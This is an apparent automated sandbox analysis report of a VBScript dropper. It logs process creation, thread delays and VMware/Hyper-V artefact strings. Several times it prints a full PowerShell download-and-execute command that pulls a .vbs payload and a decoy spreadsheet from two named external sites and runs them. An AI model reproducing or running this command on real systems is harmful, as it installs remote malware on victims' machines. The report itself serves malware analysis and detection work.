Anti Malware Scan Interface: WScript.Shell").Run "powershell.exe -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'", 0IWshShell3.Run("powershell.exe -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url", "0")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AE50988 push E95AB5D0h; ret	2_2_00007FFB4AE509C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AE500BD pushad ; iretd	2_2_00007FFB4AE500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AE5785E push eax; iretd	2_2_00007FFB4AE5786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AE5782E pushad ; iretd	2_2_00007FFB4AE5785D

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5526	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4268	Jump to behavior
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 613	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 344	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1540	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000	Jump to behavior

Source: powershell.exe, 00000002.00000002.2825512178.00000232BA08A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: svchost.exe, 00000004.00000002.2793867221.000001C3B822B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpl
Source: powershell.exe, 00000002.00000002.2820083162.0000022AB5980000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000002.2797955122.000001C3BD854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2820083162.0000022AB5920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV0T

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.pts.group/ab/ab.vbs' -destination 'C:\Users\Public\zw7htvpqkd6bdtv.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\s5wu2avs.xlsx'			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Public\s5wu2avs.xlsx"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command function downloadandrun([string]$url, [string]$destination) { invoke-webrequest -uri $url -outfile $destination ; start-process -filepath $destination -wait };downloadandrun -url 'https://www.pts.group/ab/ab.vbs' -destination 'c:\users\public\zw7htvpqkd6bdtv.vbs';downloadandrun -url 'https://www.fornid.com/ab/list%20of%20required%20items.xlsx' -destination 'c:\users\public\s5wu2avs.xlsx'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command function downloadandrun([string]$url, [string]$destination) { invoke-webrequest -uri $url -outfile $destination ; start-process -filepath $destination -wait };downloadandrun -url 'https://www.pts.group/ab/ab.vbs' -destination 'c:\users\public\zw7htvpqkd6bdtv.vbs';downloadandrun -url 'https://www.fornid.com/ab/list%20of%20required%20items.xlsx' -destination 'c:\users\public\s5wu2avs.xlsx'			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
